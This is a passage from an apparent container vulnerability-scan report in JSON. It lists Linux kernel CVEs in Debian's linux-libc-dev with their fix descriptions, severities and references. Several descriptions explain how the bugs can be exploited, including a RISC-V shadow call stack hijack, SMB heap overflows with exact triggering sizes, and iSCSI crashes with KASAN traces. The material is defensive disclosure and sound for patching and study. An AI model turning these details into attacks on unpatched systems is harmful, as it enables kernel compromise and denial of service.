"https://git.kernel.org/stable/c/cf32eb20dfacfd2e92ce86ba1fece9ae5f98a7d8", "https://linux.oracle.com/cve/CVE-2026-98974.html", "https://linux.oracle.com/errata/ELSA-2026-95367.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98974", "https://www.cve.org/CVERecord?id=CVE-2026-98974" ], "PublishedDate": "2026-10-23T13:17:19.013Z", "LastModifiedDate": "2026-10-24T14:16:49.923Z" }, { "VulnerabilityID": "CVE-2026-98999", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98999", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fb7bb49f61a3d45857dd62ddeb36256fa2a9949c7806022763a0a8a625b14ac7", "Title": "kernel: drm/xe: Fix stale pinned_link entry when fb-pin performs the final unpin", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe: Fix stale pinned_link entry when fb-pin performs the final unpin\n\nxe_bo_pin_external() and xe_bo_unpin_external() maintain the bo's\npinned_link list membership in xe-\u003epinned.late.external, based on\nwhether the current call is the outermost pin or the final unpin.\nHowever, the same external bo's pin_count can also be raised and\nlowered directly by __xe_pin_fb_vma()/__xe_unpin_fb_vma(), which pin\nthe bo as a display scanout buffer without going through\nxe_bo_pin_external()/xe_bo_unpin_external() at all, and have no\nnotion of, or ownership over, pinned_link.\n\nIf a bo is pinned both externally (e.g. dma-buf export) and as an fb,\nand the external unpin happens first, xe_bo_unpin_external() correctly\nobserves pin_count \u003e 1 and leaves the bo on pinned_link. When the fb\nunpin later performs the true last unpin (pin_count 1 -\u003e 0), it never\ntouches pinned_link, leaving the bo linked on xe-\u003epinned.late.external\nindefinitely. Once the bo is subsequently freed, this stale list entry\npoints into freed memory, corrupting the list and risking a\nuse-after-free the next time the list is walked or spliced.\n\nThe backup object pin/unpin sites in xe_bo_notifier_prepare_pinned()/\nxe_bo_notifier_unprepare_pinned() have the same bypass characteristic,\nthough they never add their bo to a pinned list, so are not affected\nby this particular list-corruption issue.\n\nMove the pinned_link removal into xe_bo_account_unpin(), which already\nruns on every unpin path (kernel, external, framebuffer, backup\nobject) right before the true 1 -\u003e 0 pin_count transition. Since\nlist_del_init() only operates on the node itself, this removal is\nlist-agnostic and safe to perform regardless of which list (external\nor kernel_bo_present) the bo happens to be linked on, or which code\npath is performing the final unpin. Drop the now-redundant explicit\nlist_del_init() calls in xe_bo_unpin_external() and xe_bo_unpin().\n\nv2:\n- New patch\n\nv3:\n- Rebased on changes to previous patch.\n\n(cherry picked from commit ca58d36a1f93af586ee93b340c9f9fd81312cc01)", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98999", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98999.mbox", "https://git.kernel.org/stable/c/3a11adcfd9a2de74d405bd3e8c4d7a1b328e4684", "https://git.kernel.org/stable/c/b3eaff982839e5c22912d604cd8e7748cece8d63", "https://git.kernel.org/stable/c/cf238c067eaae1cbfb00738e29219b9568d2313e", "https://nvd.nist.gov/vuln/detail/CVE-2026-98999", "https://www.cve.org/CVERecord?id=CVE-2026-98999" ], "PublishedDate": "2026-10-23T13:17:22.177Z", "LastModifiedDate": "2026-10-24T14:16:51.61Z" }, { "VulnerabilityID": "CVE-2026-99018", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99018", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d2e61b71077efab94896418181c6d881b02d9fd9a8afd5ab2cd16223da5a67ec", "Title": "kernel: kernel: privilege escalation via improper shadow call stack pointer reload on RISC-V", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: entry: gate shadow call stack reload on sstatus.SPP, not tp\n\nUnder CONFIG_SHADOW_CALL_STACK, handle_exception() reloads the kernel\nshadow call stack pointer (gp) only when the trap came from userspace.\nIt made that decision with scs_load_current_if_task_changed, which\ncompares the trap-time tp (read back from sscratch into s5) against the\ncurrent tp:\n\n\tbeq\t\\prev, tp, _skip_scs\n\tscs_load_current\n_skip_scs:\n\ntp is a user-writable register. A user task that sets tp to the\nlinear-map address of its own task_struct (\u0026current) before trapping\nmakes the comparison succeed (can achieve by brute force with KASLR\nenable under our test), so the kernel skips scs_load_current and\nkeeps running with the gp that userspace left in place. Under\nCONFIG_SHADOW_CALL_STACK gp is the shadow call stack pointer and\nload_global_pointer is a no-op, so the compiler-emitted\n\"sd ra, -8(gp)\" / \"ld ra, -8(gp)\" in every non-leaf function then write\nto, and return through, an attacker-controlled address -- an\nunprivileged kernel arbitrary-write and control-flow-hijack primitive.\nThe poisoned gp is saved to task_struct.scs_sp on return, so the reload\nis skipped on every subsequent entry as well.\n\nDecide \"came from userspace\" from the hardware sstatus.SPP bit (already\nin s1 at this point) instead of from tp, mirroring the check that\nret_from_exception already uses a few instructions later. SPP is\nwritten by hardware on trap entry and cannot be forged from U-mode.\nLegitimate behaviour is unchanged: user entries (SPP=0) reload the task\nshadow call stack, nested kernel entries (SPP=1) skip it.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99018", "https://git.kernel.org/stable/c/37b4401ee6fa06046446d55e97e8d11784080843", "https://git.kernel.org/stable/c/4d0697f192975dab5985e921989be1d85cf580e9", "https://git.kernel.org/stable/c/6639735367a7d491977e9e5e7afc50b489d81d83", "https://git.kernel.org/stable/c/7d1367a53137e379498eb8791295e58854378636", "https://nvd.nist.gov/vuln/detail/CVE-2026-99018", "https://www.cve.org/CVERecord?id=CVE-2026-99018" ], "PublishedDate": "2026-10-23T13:17:24.65Z", "LastModifiedDate": "2026-10-24T14:16:52.92Z" }, { "VulnerabilityID": "CVE-2026-99056", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99056", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7e6cb78cd8b92f058aaf9462667eb8b7f37c6eac605662768169c5dcd8c0004c", "Title": "kernel: strparser: make sure __strp_recv isn't running before tearing down the parser", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nstrparser: make sure __strp_recv isn't running before tearing down the parser\n\nThe comment above strp_done() claims that if strp is stopped,\nstrp_recv will no longer be called. That's only true if the caller has\na mechanism (eg locking) to guarantee that strp_recv() calls that\nstarted before strp_stop() have completed by the time we call\nstrp_done().\n\nThis adds a dummy lock_sock/release_sock pair to guarantee that any\nin-flight strp_recv() (which runs under either bh_lock_sock or\nlock_sock, depending if it's called from -\u003esk_data_ready or strp_work)\nhas completed.\n\nOnly espintcp can be affected by this race condition, but this patch\nmakes sure no future user of strp can have the bug.\n\nThis could crash on strp-\u003esk (\"general mode\" of strp), but this mode\nhas been here for 9 years and has never been used. It'll be gone soon,\nno point worrying about it.\n\nSwitch the stopped/paused/etc bits to u8's to avoid races between\nstrp_stop() and strp_pause/unpause().\n\nA reproducer has been published and turns the possible UAF into an\nexploit [1].", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99056", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99056.mbox", "https://git.kernel.org/stable/c/0984ebc631792acf8fff105112ee74a6b8f1efcc", "https://git.kernel.org/stable/c/61cc5dac60d50dee06cf5c7b7ab246f9c825a715", "https://git.kernel.org/stable/c/933df60a465b1b82ff92dcd6870504da90ba4e9b", "https://git.kernel.org/stable/c/9f3e9fe1b155e9b4572054d8d140586bc3512ecf", "https://git.kernel.org/stable/c/a18dd388045dc7263d99a07db9de4e0f149ca8f1", "https://git.kernel.org/stable/c/b09071e2f8460b35c7d355addad0fc7b31c6904d", "https://git.kernel.org/stable/c/d2b5f637b9b67a79a50d42614d10653c13b4e449", "https://git.kernel.org/stable/c/eaa3a29004c063d7e9d5ea55636f693f67e6db0f", "https://nvd.nist.gov/vuln/detail/CVE-2026-99056", "https://www.cve.org/CVERecord?id=CVE-2026-99056" ], "PublishedDate": "2026-10-23T13:17:29.257Z", "LastModifiedDate": "2026-10-30T13:21:42.26Z" }, { "VulnerabilityID": "CVE-2026-99064", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99064", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a6e8c7ae6547e2d5501474da433dd7e6642130691885e27fb47cb5b4210d272c", "Title": "kernel: cipso: adjust cached option offsets when removing CIPSO", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncipso: adjust cached option offsets when removing CIPSO\n\ncipso_v4_skbuff_delattr() removes the CIPSO bytes but does not adjust\ncached offsets for options that follow them.\n\nFor example, with a valid 10-byte CIPSO option followed by a seven-byte\nRR option, parsing records rr at offset 30. Removing CIPSO moves RR to\noffset 20, while the cached offset remains 30. Consumers such as\nip_forward_options() and __ip_options_echo() then access the wrong bytes;\nthe latter may interpret packet data as the option length and copy it into\nfixed-size option storage.\n\nMirror cipso_v4_delopt() and subtract cipso_len from the srr, rr, ts and\nrouter_alert offsets when they follow CIPSO. cipso_len is the distance\nthe first memmove() shifts those options. The later header move and\nnetwork-header reset relocate the bytes and their offset base together.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99064", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99064.mbox", "https://git.kernel.org/stable/c/2200fe1d6148b78e1b8f00f4b2bd47760015077f", "https://git.kernel.org/stable/c/6d25ffca055a77787c21a36b66c253f76239411b", "https://git.kernel.org/stable/c/6e49d611a9cfbaac927b8fa80ebd4f6b1f37ada0", "https://git.kernel.org/stable/c/b965977126a90e01825814c859ba4788691eddd3", "https://nvd.nist.gov/vuln/detail/CVE-2026-99064", "https://www.cve.org/CVERecord?id=CVE-2026-99064" ], "PublishedDate": "2026-10-23T13:17:30.253Z", "LastModifiedDate": "2026-10-24T14:16:54.507Z" }, { "VulnerabilityID": "CVE-2026-99109", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99109", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b71c8127083b384eae8b8e478531233587a8b479d34bb4ff704e3e076d192666", "Title": "kernel: smb: client: reject SetEA requests that do not fit the request buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: reject SetEA requests that do not fit the request buffer\n\nCIFSSMBSetEA() copies the caller's extended attribute value into the\nSMB request buffer without checking that it fits. The requirement is\nstated in the source but was never implemented:\n\n\t/*BB add length check to see if it would fit in\n\t negotiated SMB buffer size BB */\n\t/* if (ea_value_len \u003e buffer_size - 512 (enough for header)) */\n\tif (ea_value_len)\n\t\tmemcpy(parm_data-\u003elist.name + name_len + 1,\n\t\t ea_value, ea_value_len);\n\nThe only bound applied on the way in is in cifs_xattr_set():\n\n\t#define MAX_EA_VALUE_SIZE CIFSMaxBufSize\n\t...\n\tif (size \u003e MAX_EA_VALUE_SIZE)\n\nCIFSMaxBufSize is the full payload capacity of the buffer, so a value\nof exactly that size leaves no room for the SMB header, the TRANS2\nparameter block, the fealist header and the EA name that are written\nahead of it in the same object.\n\nSendReceive() already enforces the correct limit on this very length:\n\n\tif (in_len \u003e CIFSMaxBufSize + MAX_CIFS_HDR_SIZE)\n\nbut it is called after the copy has taken place. An unprivileged\nsetxattr(2) on an SMB1 mount with a 250-byte name and a 16384-byte\nvalue writes 16384 bytes starting 345 bytes into a 16588-byte\ncifs_request object, ending 141 bytes past it:\n\n BUG: KASAN: slab-out-of-bounds in CIFSSMBSetEA+0xabc/0xde0\n Write of size 16384 at addr ffff888003aa0159 by task init/68\n __asan_memcpy+0x3c/0x60\n CIFSSMBSetEA+0xabc/0xde0\n cifs_xattr_set+0xd3a/0xff0\n __vfs_setxattr+0x13e/0x1a0\n The buggy address is located 345 bytes inside of\n allocated 16588-byte region\n\nApply SendReceive()'s limit to the assembled request before the copy\nrather than after it, and widen the byte counters so the sum cannot\nwrap before it is tested.\n\nbyte_count is also tested against U16_MAX, because it is stored in the\n16-bit pSMB-\u003eByteCount. That becomes reachable when CIFSMaxBufSize is\nraised at module load, where it may be set as high as 1024*127: with a\n5-byte EA name and a 65521-byte value, count is exactly U16_MAX while\nbyte_count is 65556, and cpu_to_le16() would truncate it to 20 and\ntransmit a frame whose ByteCount does not match its length. Testing\nbyte_count covers count as well, since byte_count is the larger of the\ntwo and count's only 16-bit consumer is written after this point.\n\ncheck_add_overflow() is evaluated first so that total_len is assigned\nbefore it is reported.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99109", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99109.mbox", "https://git.kernel.org/stable/c/4aa2c106aef4bf3dfd97c30842db0767b26e8428", "https://git.kernel.org/stable/c/79345a5d14b851e9ed28d3a9fe53301661dbcf11", "https://git.kernel.org/stable/c/9efbd764ab80fa86d2258550877a74d78a25e855", "https://nvd.nist.gov/vuln/detail/CVE-2026-99109", "https://www.cve.org/CVERecord?id=CVE-2026-99109" ], "PublishedDate": "2026-10-28T11:17:30.287Z", "LastModifiedDate": "2026-11-06T18:18:31.847Z" }, { "VulnerabilityID": "CVE-2026-99110", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99110", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8665f45a79045c4c06361ed8d148193932bdfeb8b7c892f8f6faf963799aeaa5", "Title": "kernel: smb: client: fix heap overflow in cifs_do_set_acl()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix heap overflow in cifs_do_set_acl()\n\ncifs_set_acl() validates ACL size using posix_acl_xattr_size():\n\n 4 + (count * 8) // 4-byte header + 8 bytes per ACE\n\ncifs_do_set_acl() then calls posix_acl_to_cifs() to write the CIFS\nwire format into the same buffer:\n\n 6 + (count * 10) // 6-byte header + 10 bytes per ACE\n\nAn ACL that passes the xattr-based check in cifs_set_acl() can\noverflow the heap when posix_acl_to_cifs() writes the larger CIFS\nformat.\n\nValidate the CIFS format size against the remaining buffer space and\nUSHRT_MAX before converting--data_count is __u16, so sizes above\nUSHRT_MAX truncate the on-wire packet length, causing the server to\napply a partial ACL. Replace MaxDataCount = 1000 with\nmin(CIFSMaxBufSize, USHRT_MAX).", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99110", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99110.mbox", "https://git.kernel.org/stable/c/1dac61e2c29d1a71784604b48cf3b1234a65ec29", "https://git.kernel.org/stable/c/596b4062e6c75bdd85a7f2b7f2087a872dc420ac", "https://git.kernel.org/stable/c/68652afb9b9adf70125971abee9b95341e042249", "https://git.kernel.org/stable/c/9312a00215602ba028495ef3fa00fb84af0478e0", "https://git.kernel.org/stable/c/d96f3365ce61c5f39602955af43c8174548dee98", "https://nvd.nist.gov/vuln/detail/CVE-2026-99110", "https://www.cve.org/CVERecord?id=CVE-2026-99110" ], "PublishedDate": "2026-10-28T11:17:30.41Z", "LastModifiedDate": "2026-10-31T13:17:55.833Z" }, { "VulnerabilityID": "CVE-2026-99152", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99152", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a705ef2ca4789ac5d9842cdb9783a496713cf02323284bdbe7476e8471e391be", "Title": "kernel: kernel: Denial of Service via unvalidated task in iSCSI management responses", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: libiscsi: Validate the task named by a management response\n\n__iscsi_complete_pdu() fetches the task for five response types from one\nplace and checks only that the index resolved:\n\n case ISCSI_OP_LOGOUT_RSP:\n case ISCSI_OP_LOGIN_RSP:\n case ISCSI_OP_TEXT_RSP:\n case ISCSI_OP_SCSI_TMFUNC_RSP:\n case ISCSI_OP_NOOP_IN:\n task = iscsi_itt_to_task(conn, hdr-\u003eitt);\n if (!task)\n return ISCSI_ERR_BAD_ITT;\n\niscsi_itt_to_task() bounds the index against cmds_max and looks at\nnothing else, so a target can name any slot in the pool, including one\nthat has never been used. task-\u003econn is then NULL, and both\niscsi_nop_out_rsp() and iscsi_complete_task() dereference it. One\nunsolicited NOP-In is enough; a Text Response carrying the same ITT\ncrashes in iscsi_complete_task() instead.\n\nRequire the task to be in flight and not a SCSI command, the way\niscsi_itt_to_ctask() does for the command opcodes.\n\n[ 6.298634] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI\n[ 6.298642] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]\n[ 6.298652] CPU: 1 UID: 0 PID: 111 Comm: iscsistart Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)\n[ 6.298654] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[ 6.298656] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160\n[ 6.298691] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00\n[ 6.298698] RSP: 0018:ffff88806c907be8 EFLAGS: 00010206\n[ 6.298701] RAX: dffffc0000000000 RBX: ffff888006116800 RCX: 0000000000000020\n[ 6.298702] RDX: 000000000000000c RSI: ffff88800525d578 RDI: 0000000000000060\n[ 6.298703] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000\n[ 6.298706] R10: 0000000000000020 R11: 0000000000000000 R12: 0000000000000000\n[ 6.298706] R13: 000000000000002e R14: ffff8880056eb440 R15: ffff888006116800\n[ 6.298707] FS: 00007fc02d1c2740(0000) GS:ffff8880b29bc000(0000) knlGS:0000000000000000\n[ 6.298710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 6.298711] CR2: 000055fe3b56ddf8 CR3: 00000000053b9004 CR4: 0000000000770ef0\n[ 6.298712] PKRU: 55555554\n[ 6.298713] Call Trace:\n[ 6.298714] \u003cIRQ\u003e\n[ 6.298714] __iscsi_complete_pdu+0x13a8/0x22a0\n[ 6.298758] iscsi_complete_pdu+0x54/0xa0\n[ 6.298759] iscsi_tcp_hdr_recv_done+0x870/0x2c80\n[ 6.298778] iscsi_tcp_recv_skb+0x31e/0xec0\n[ 6.298800] iscsi_sw_tcp_recv+0x12f/0x390\n[ 6.298804] __tcp_read_sock+0x1ab/0x810\n[ 6.298812] iscsi_sw_tcp_data_ready+0x18b/0x510\n[ 6.298814] tcp_rcv_established+0x1f56/0x3a00\n[ 6.298842] tcp_v4_do_rcv+0x449/0x960\n[ 6.298847] tcp_v4_rcv+0x2245/0x3bc0", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99152", "https://git.kernel.org/stable/c/11bffcd9cb346732eab2914ef44fe777a3f0b585", "https://git.kernel.org/stable/c/55a65ef61e2775aeb18fda63bd1959fa8b41f936", "https://git.kernel.org/stable/c/5b56229cc152095fbe4e4ff537cb206c4aa41610", "https://git.kernel.org/stable/c/77134cf996bab55683f0ceafb9e300d97ac046f8", "https://git.kernel.org/stable/c/7a7a473aec51195778a54fdd71f20fda3047b8ef", "https://git.kernel.org/stable/c/bf4035656852a386fecb5d6217710a1bde536e76", "https://git.kernel.org/stable/c/e96ae694c5038aae84142b64e41b56324b7af9a7", "https://git.kernel.org/stable/c/f721487523d45941aed4b0ac8d829b0461a7d860", "https://nvd.nist.gov/vuln/detail/CVE-2026-99152", "https://www.cve.org/CVERecord?id=CVE-2026-99152" ], "PublishedDate": "2026-10-28T11:17:35.317Z", "LastModifiedDate": "2026-10-31T13:17:57.443Z" }, { "VulnerabilityID": "CVE-2026-99153", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99153", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dee59f1a6e194b632cf777e27e648941f9a84df26c1a5f021102c2be7b870631", "Title": "kernel: kernel: Denial of service via unvalidated task tag in iSCSI Reject PDU", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: libiscsi: Validate the ITT reflected in a Reject PDU\n\nA Reject PDU carries a copy of the header it rejects, and\niscsi_handle_reject() takes the ITT out of that copy to find the task to\nclean up:\n\n memcpy(\u0026rejected_pdu, data, sizeof(struct iscsi_hdr));\n ...\n task = iscsi_itt_to_task(conn, rejected_pdu.itt);\n\nThat value is whatever the target put there. iscsi_itt_to_task() bounds\nthe index against cmds_max and checks nothing else, so any task in the\npool can be named, and iscsi_nop_out_rsp() then completes it.\n\nAn index that has never been used gives a NULL task-\u003econn: the pool is\nzeroed at session setup and conn is assigned only when a task is\nallocated. If the task was used and returned, iscsi_complete_task() hits\nits WARN_ON_ONCE(task-\u003estate == ISCSI_TASK_FREE) and the refcount\nunderflows. An in-flight SCSI command is completed as successful - a 1\nMiB read returned 1048576 with none of its buffer written and no\nwarning.\n\nValidate the reflected ITT the way iscsi_itt_to_ctask() validates a\ncommand ITT, and require the task to be in flight and not a SCSI\ncommand.\n\n[ 6.248477] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI\n[ 6.249357] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]\n[ 6.249951] CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)\n[ 6.250718] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[ 6.251616] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160\n[ 6.252043] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00\n[ 6.252813] RSP: 0018:ffff88806c907b80 EFLAGS: 00010206\n[ 6.253042] RAX: dffffc0000000000 RBX: ffff88800607e000 RCX: ffffffff8d571a25\n[ 6.253345] RDX: 000000000000000c RSI: ffff88806c907c38 RDI: 0000000000000060\n[ 6.253642] RBP: 0000000000000000 R08: 0000000000000000 R09: fffffbfff235a504\n[ 6.253947] R10: 0000000000000003 R11: 7463656e6e6f6320 R12: 0000000000000000\n[ 6.254251] R13: 0000000000000000 R14: ffff88806c907c38 R15: 0000000000000000\n[ 6.254549] FS: 0000000000000000(0000) GS:ffff8880d95bc000(0000) knlGS:0000000000000000\n[ 6.254887] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 6.255140] CR2: 00007fc393e8ffc0 CR3: 0000000005252006 CR4: 0000000000770ef0\n[ 6.255439] PKRU: 55555554\n[ 6.255564] Call Trace:\n[ 6.255674] \u003cIRQ\u003e\n[ 6.255768] __iscsi_complete_pdu+0x18bf/0x22a0\n[ 6.256733] iscsi_complete_pdu+0x54/0xa0\n[ 6.256905] iscsi_tcp_data_recv_done+0xf4/0x250\n[ 6.257103] iscsi_tcp_recv_skb+0x31e/0xec0\n[ 6.257680] iscsi_sw_tcp_recv+0x12f/0x390\n[ 6.258061] __tcp_read_sock+0x1ab/0x810\n[ 6.258853] iscsi_sw_tcp_data_ready+0x18b/0x510\n[ 6.259808] tcp_data_queue+0x1f13/0x4cd0\n[ 6.260567] tcp_rcv_established+0x8a5/0x3a00\n[ 6.261931] tcp_v4_do_rcv+0x449/0x960\n[ 6.262269] tcp_v4_rcv+0x2245/0x3bc0", "Severity": "HIGH", "VendorSeverity": { "azure": 2, 